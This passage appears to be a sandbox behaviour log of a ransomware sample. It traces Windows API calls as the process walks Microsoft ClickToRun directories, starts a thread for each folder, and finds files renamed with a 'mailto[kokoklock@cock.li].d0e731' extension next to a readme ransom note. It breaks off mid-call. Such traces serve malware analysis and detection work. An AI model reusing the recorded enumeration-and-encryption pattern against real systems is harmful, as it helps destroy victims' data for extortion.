lpParameter=0x2ff15f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0175.628] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0175.628] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0175.628] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0175.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff0f38 [0175.628] wcscpy (in: _Dest=0x2ff0f38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0175.628] wcscat (in: _Dest=0x2ff0f38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\" [0175.628] wcscat (in: _Dest=0x2ff0f38, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0175.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2ff0f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0175.629] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0175.629] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b778) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aa30) returned 1 [0175.629] RtlExitUserThread (Status=0x0) Thread: id = 2293 os_tid = 0x45c [0174.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x4f0a8a0 [0174.832] wcscpy (in: _Dest=0x4f0a8a0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0174.832] wcscat (in: _Dest=0x4f0a8a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\" [0174.832] wcscat (in: _Dest=0x4f0a8a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*" [0174.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9ae60 [0174.832] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045568 [0174.833] wcscmp (_String1=".", _String2=".") returned 0 [0174.833] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.834] wcscmp (_String1="..", _String2=".") returned 1 [0174.834] wcscmp (_String1="..", _String2="..") returned 0 [0174.834] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0174.834] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0174.834] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0174.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff16d0 [0174.834] wcscpy (in: _Dest=0x2ff16d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0174.834] wcscat (in: _Dest=0x2ff16d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\" [0174.834] wcscat (in: _Dest=0x2ff16d0, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" [0175.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2ff16d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0175.625] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0175.625] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0175.625] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0175.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff0e60 [0175.625] wcscpy (in: _Dest=0x2ff0e60, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0175.625] wcscat (in: _Dest=0x2ff0e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\" [0175.625] wcscat (in: _Dest=0x2ff0e60, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" [0175.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2ff0e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0175.626] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0175.626] FindClose (in: hFindFile=0x3045568 | out: hFindFile=0x3045568) returned 1 [0175.626] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ae60) returned 1 [0175.626] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0a8a0) returned 1 [0175.626] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aaf8) returned 1 [0175.626] RtlExitUserThread (Status=0x0) Thread: id = 2294 os_tid = 0x9e0 [0174.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7c) returned 0x2fa0a10 [0174.834] wcscpy (in: _Dest=0x2fa0a10, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" [0174.834] wcscat (in: _Dest=0x2fa0a10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\" [0174.834] wcscat (in: _Dest=0x2fa0a10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" [0174.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b0c8 [0174.834] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30455a8 [0174.835] wcscmp (_String1=".", _String2=".") returned 0 [0174.835] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.835] wcscmp (_String1="..", _String2=".") returned 1 [0174.835] wcscmp (_String1="..", _String2="..") returned 0 [0174.835] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0174.835] wcscmp (_String1="Packages", _String2=".") returned 1 [0174.835] wcscmp (_String1="Packages", _String2="..") returned 1 [0174.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fcf8f0 [0174.835] wcscpy (in: _Dest=0x2fcf8f0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" [0174.835] wcscat (in: _Dest=0x2fcf8f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\" [0174.835] wcscat (in: _Dest=0x2fcf8f0, _Source="Packages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" [0175.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fcf8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0175.623] FindNextFileW (in: hFindFile=0x30455a8, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0175.623] FindClose (in: hFindFile=0x30455a8 | out: hFindFile=0x30455a8) returned 1 [0175.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0c8) returned 1 [0175.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a10) returned 1 [0175.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b910) returned 1 [0175.623] RtlExitUserThread (Status=0x0) Thread: id = 2295 os_tid = 0x994 [0174.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f833a8 [0174.836] wcscpy (in: _Dest=0x2f833a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" [0174.836] wcscat (in: _Dest=0x2f833a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\" [0174.836] wcscat (in: _Dest=0x2f833a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" [0174.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b330 [0174.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30455e8 [0174.836] wcscmp (_String1=".", _String2=".") returned 0 [0174.836] FindNextFileW (in: hFindFile=0x30455e8, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.836] wcscmp (_String1="..", _String2=".") returned 1 [0174.836] wcscmp (_String1="..", _String2="..") returned 0 [0174.836] FindNextFileW (in: hFindFile=0x30455e8, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0174.836] wcscmp (_String1="ShortcutBackups", _String2=".") returned 1 [0174.836] wcscmp (_String1="ShortcutBackups", _String2="..") returned 1 [0174.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fee240 [0174.836] wcscpy (in: _Dest=0x2fee240, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" [0174.836] wcscat (in: _Dest=0x2fee240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\" [0174.836] wcscat (in: _Dest=0x2fee240, _Source="ShortcutBackups" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" [0175.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fee240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0175.619] FindNextFileW (in: hFindFile=0x30455e8, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0175.619] FindClose (in: hFindFile=0x30455e8 | out: hFindFile=0x30455e8) returned 1 [0175.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b330) returned 1 [0175.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f833a8) returned 1 [0175.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0080) returned 1 [0175.619] RtlExitUserThread (Status=0x0) Thread: id = 2296 os_tid = 0xdd8 [0174.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3055f98 [0174.837] wcscpy (in: _Dest=0x3055f98, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0174.837] wcscat (in: _Dest=0x3055f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0174.837] wcscat (in: _Dest=0x3055f98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*" [0174.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b598 [0174.837] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*", lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bd5b7d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bd5b7d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045628 [0174.841] wcscmp (_String1=".", _String2=".") returned 0 [0174.841] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bd5b7d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bd5b7d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.841] wcscmp (_String1="..", _String2=".") returned 1 [0174.841] wcscmp (_String1="..", _String2="..") returned 0 [0174.841] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bce927c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bce927c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bd0f4be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.842] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.842] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.842] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bd5b7d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x570f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.842] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.842] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe1ed8 [0174.842] wcscpy (in: _Dest=0x2fe1ed8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0174.842] wcscat (in: _Dest=0x2fe1ed8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0174.842] wcscat (in: _Dest=0x2fe1ed8, _Source="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0175.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, 